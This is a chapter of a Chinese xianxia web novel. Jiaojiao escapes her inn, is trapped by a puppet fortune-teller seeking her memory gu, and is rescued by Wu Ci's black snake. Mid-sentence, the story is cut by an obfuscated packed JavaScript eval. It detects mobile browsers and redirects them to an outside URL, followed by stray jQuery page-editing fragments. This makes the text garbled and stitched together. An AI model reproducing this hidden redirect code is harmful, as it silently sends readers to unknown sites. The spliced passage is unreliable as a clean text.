修士们齐聚益州城,街上热闹非凡,小商小贩们也抓紧出来做生意。
除了普通人日常生活所用的东西,街道两侧还摆满了修士们所需要的丹药、兵器等,不过大多是凡品。
即使是细雨蒙蒙,也丝毫没有减少行人的数量。
赵秋心兴致很高,拉着她在各个商铺之间游走。
不过赵秋心很穷,大多数时间只是看看,并不买。
皎皎则是连看的心思都没有,她对着赵秋心拿过来的一只木雕小猫敷衍地赞美了几句,目光却游离着。
她刚刚就那样踏出了旅馆,没有人阻拦。
这是不是说明,乌瓷根本就无所谓她离开没有?
那她岂不是就能这样逃脱?
在别处隐藏两天,等到大会开始时,再去找沉雪哥哥,岂不妙哉?
她的目光在四周搜寻着,试图看到一点被注视被跟踪的蛛丝马迹,但周围人来人往,没有人注意到她,似乎很安全。
赵秋心的声音传来:“你很喜欢这只小猫吗?”
皎皎这才发现自己将那只木雕小猫一直握在手里。
这只小猫不大,皎皎一只手便可以将其包裹在手心里。
小猫雕刻得活灵活现,是一只三花猫闭着眼睛趴在地上睡觉的姿态,非常可爱。
皎皎当然喜欢小猫,但是现在心思不在这里,正要放下,却突然想起来冰冷、神秘的黑蛇。
黑色的鳞片泛出锦缎一样的光泽。
她恶狠狠地道:“喜欢,我就喜欢这种毛茸茸的小动物,最讨厌那种又长又有毒,浑身都是硬巴巴的鳞片,可怕又冰冷,还没有毛绒的动物了!”
赵秋心:“哦哦。”
她放下了手里的一个小蛇雕塑。
小蛇盘起来,仰起头来吐着信子,被雕刻得憨态可掬。
今年是蛇年,所以摊主雕刻了不少蛇来卖。
店主是一个脸上满是皱纹的大爷,平时干木匠活,趁人多,雕刻了许多小动物来卖。
听到这个水灵灵的小姑娘这样说话,大爷道:“小姑娘,今年可是蛇年呀。”
蛇年?
乌瓷是不是属蛇的?
联想到这里,皎皎点头道,心情终于舒畅了一点:“不错,本命年容易不顺,是个好消息。”
不过,一路走来好像也没有感到乌瓷有多不顺,好可惜。
前面一丛火焰猛得喷向天空,火龙在天空张牙舞爪,细雨似乎都顺便被它蒸发成水汽,引来人群一片惊叹,也吸引了赵秋心和皎皎的目光。
人太多,到处都是摆摊的,或者是耍把戏的,人头攒动,很难看清楚每一处人们驻足的地方都是卖什么、干什么的。
但这簇火焰在空中绽放,瞬间就吸引了大多数目光。
赵秋心眼睛一亮,立刻拉着皎皎往那边而去。
皎皎连忙放下手中的小猫。
被人群围绕在中心的,是一个表演喷火的汉子。
只见他手里拿着一个火把,深吸一口气,再对着火把猛得呼出去,斜上方顿时出现一条几乎一米长的火龙。
周围的人们一阵惊叹,其中不乏夹杂着许多修士打扮的人。
喷火本是常见的杂技,虽然热闹,但也不算厉害。
赵秋心看了片刻,却是道:“这人有真本事。”
闻言,皎皎也定睛看去。
这才发现这汉子并非传统的,靠嘴里含着油,将油喷出去经过火焰,再形成一条火龙。
他嘴里只是呼出气,而有时候呼出的气甚至不经过手中的火把,那火把更像是一个用来吸引目光的道具。
凭空口吐火龙,在修士之中也是值得惊叹的。
赵秋心半开玩笑道:“也许是个剑修,被秘境吸引而来,趁人多赚点外快。”
修士可以选择修不同的道,修道的同时也修心,不同的道也会塑造修士的处事方式,长此以往,也就在世人心中形成了刻板印象。
比如剑修大多穷且坚定,符修聪慧过人,器修多数堆金积玉等等。
听完赵秋心的话,皎皎问:“蛊修呢?”
“蛊修嘛......修蛊的人并不多,且容易反噬。”赵秋心摸着下巴,正要说什么,想起皎皎的师兄身上就经常游走着一条蛇,于是改口道:“修蛊的人决绝果断,愿意为获得力量付出一定的代价。”
最符合世人心中侠客形象的,当然还属剑修。
就比如江沉雪那种的。
喷火的这里,围着不少耍把式的,两个人一路走一路看。
最后来到了一个小方桌前,旁边的幢幡中间写着两个醒目的大字“算命”,下面写着差不多的大字:“十两一次。”
小字则写着未卜先知,寻人失物,姻缘子女等等。
除了价格贵得令人咋舌外,整个算命摊子看起来平平无奇。
排队的人却很多。
这算命的有什么特别?
推演卦象是一门特别高深的学问,真的能够算命,预测吉凶或未来的,早就被当成仙盟或者朝廷的座上宾了。
皎皎心中觉得奇怪,不由得多看了两眼,队伍里有两个人在聊天:“王真人平常神出鬼没,只给有缘人算命,你我今日真是幸运呀。”
“真人料事如神,”聊天的人压低了声音,“听说得了菩萨真传呢。”
皎皎一听,便知这所谓“王真人”名号水分居多,抬脚就走。
往前走了几步,一阵妖风迷了眼睛,这风很大,吹得人几乎都要站立不稳,皎皎的头发在狂风中舞动。
等到这阵风散去,皎皎眨眨眼睛,恢复视力时,赵秋心不见了,排队的人也不见了,喧闹的市场,热闹的人群,喷火的,摆摊的,都不见了。
目之所及是冷清的街道,透露着热闹散尽后的清寂。
面前摆着一个小方桌,一个穿长衫的瘦削男子坐在桌前,旁边是写着“算命”二字的幢幡。
瘦削男子坐在那里,似乎等着皎皎。
皎皎略加思索,目不斜视地继续往前,只和那男子擦肩而过。
很快,皎皎就又出现原地,不远处是那小方桌。
这样又走了几次,还是这般场景,而且皎皎也没发现阵眼或其他异常。
避无可避,皎皎坐在了桌前。
瘦削男子面带微笑,穿一身长衫,手中折扇轻轻摇晃,确实有几分世外高人的风范。
他上下打量几眼皎皎。
这种算命的,大多会从衣着神态等,对前来算命的人形成一个初步的判断。
算命的先自我介绍了:“我姓王,靠摆摊算命挣些薄银,看小道友有缘,想给你免费卜一卦。”
皎皎道:“不需要。”
算命的还是笑着,似乎已经预料到了她的拒绝。
皎皎刚说完拒绝的话,就感到一股强大的力量拽着自己的手往上,把自己的手拽着放到了桌面上。
皎皎的手死死握成拳,和那股力量对抗。
她说:“你误会了,我不是不想算卦,而是不想免费算卦。”
对面的人脸上表情不变,看着她,那副样子就好像在说看你还能玩出什么花样。
皎皎道:“我听家里长辈说过,卜卦本是逆天而行,若是不付卦资,报应会现在自己身上的。”
她是骗人的,她根本没听过这种说法,只是为了拖延时间罢了。
“我没有十两银子,我的钱都在客栈,要不你随我一起回去。”
那股力量已经有些失去耐心了,用力掰着皎皎的手指,大有再不松手就把她的手指碾碎的势头。
皎皎吃痛,闷哼一声,坚持不住将手松开了。
她藏在桌下的另一只手同时猛得一扬,手中是一个巴掌大的符咒,符咒从她手中甩到了王真人的脸上,继而无风自燃。
火势猛得变大,将王真人的整个头笼罩住。
皎皎一个飞踢踹向竖立在桌子旁边的幢幡。
片刻后,被幢幡化成的布条捆绑住两个胳膊的皎皎又坐到了原来的椅子上。
王真人的头发被烧光了,脸上一片焦黑,脸上的微笑却丝毫不改。
皎皎道:“你到底想干什么?”
她刚刚逃跑的举动失败了,不过也为她带来了一个讯息:对面这位不是真人,只是幻化出来的一个傀儡。
傀儡的笑面一如既往,皎皎不确定她刚刚的举动有没有激怒对面。
王真人也不装了,目光盯在皎皎两侧的头发上。
他是在看束发金环。
坐在对面的王真人打了个响指,皎皎身旁两侧各出现了一个一模一样的“王真人”,伸手想要去拿金环。
它们的手刚碰到金环,就被上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054585|193433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面散发出的金光灼烧,那光芒的力度太强,瞬间将这两个傀儡打穿成了两半。
对面的王真人喃喃道:“你不是强抢过来的,这蛊虫竟然已经认你为主。”
他是想要记忆蛊。
皎皎立刻道:“好说,这个蛊虫对我而言没什么价值,只要你把我放开,我自己把金环摘下来给你。”
王真人的眼睛秃噜秃噜地转了两下,阴恻恻地笑了:“万一我一放开你,你又想杀我怎么办?”
皎皎当然准备催动鬼婴蛊,但嘴上还是说:“怎么会呢,只要你留我一条命,蛊虫都是身外之物,这点道理我还是明白的。”
王真人似乎真的在思考,他点点头:“没错,你说得有道理。”
皎皎趁热打铁:“我自己给你,你不用费力取蛊,这样对我们两个都好。”
“有道理......”王真人说着,却话锋一转:“但是,杀了你,我也不费力啊,呵呵呵......”
皎皎身旁再次出现两个傀儡,与之前不同的是,这次两个傀儡手中都拿着一把锋利的刀。
看到他们拿着刀逼近,皎皎用力地挣扎起来,可是那幡收得太紧,怎么也挣脱不开。
她心中焦急,命悬一线的恐惧,使得身体都有些僵硬。
刀划破皎皎的衣服,在她心口处留下一条浅浅的红色印记。
这时,两个傀儡的动作却停了。
一条黑蛇在地上不知何时爬了过来,吐着信子顺着爬上了皎皎的身体,直立起上半身,红色的双眼看着王真人。
对峙不过片刻,缠绕着自己的幡布一瞬间松开,耳边的声音再一次充盈起来。
刚才的场景尽数消失,她又回到了现实。
身旁的赵秋心讶异地喊了一声:“呀,这不是你师兄的蛇吗,它什么时候来的!”
黑蛇伸出红色的信子,舔舐着皎皎的脸。
皎皎发现黑蛇是在舔舐自己的泪水。
赵秋心道:“怎么了,怎么哭了?”
那是因为恐惧而产生的泪水,皎皎自己甚至都没有察觉,她平静了一下,道:“没什么,沙子迷了一下眼睛。”
透过排队的人群的缝隙,皎皎能够看到坐在桌前的那人的身影,和她刚刚看到的“王真人”一模一样。
赵秋心似乎很喜欢这条黑色的蛇,伸手想要触摸,却看到黑蛇灵活闪开,还做出了攻击性的动作。
赵秋心讪讪地收回手,却发现黑蛇的身体一动,皎皎衣服上出现了一个破洞。
“你这里衣服怎么破了?”赵秋心不明所以,“是这只蛇搞的鬼吗?”
她又想起什么,四处张望道:“不会是遇见剪绺子的了吧?”
剪绺子的就是小偷,在人群密集处剪下荷包或剪开衣服偷窃财物。
皎皎已经收回了望向王真人的目光,她和“王真人”交手毫无抵抗之力,而赵秋心甚至都没有察觉有什么不对,她们两个不是对手。
皎皎握住赵秋心的手道:“我累了,回去休息吧。”
可能是周围有些危险,黑蛇在她身上缠绕得很紧,那种略微紧压的束缚感,和一个活物在身上流动的感觉,叫皎皎心中涌起一股一样的感受。
黑蛇有时候就缠在乌瓷身上,他就是这样的感觉吗?
回到客栈,那条黑蛇从皎皎的身上下来,皎皎下意识要去抓它,手只触碰到了那凉凉的鳞片。
不知不觉中,皎皎踱步到了乌瓷的房门口。
他们两人的房间本就挨着,不过皎皎刚刚心里想着事情,直接越过了自己的房间,来到了乌瓷的门前。
他在里面吗?
黑蛇一直跟着她吗?
他救了自己。
皎皎抬起手,却没有勇气敲门,她也不知道自己在犹豫什么。
今天的事,证明了乌瓷是个跟踪狂,自己偷偷逃跑的计划是泡汤了,她得想个别的办法。
不过,如果不是黑蛇,自己可能也就没命了。
她突然就有些生气,乌瓷那么坏,讨人厌,恶毒,为什么不一坏到底,为什么还要救她。
许多情绪拉扯着,叫皎皎的心情变成了烦闷。
手在空中悬了许久,她最后也没有敲门。
皎皎离开后,本来在屋中品茶的乌瓷轻轻放下茶杯。
茶杯在桌上留下一道水渍。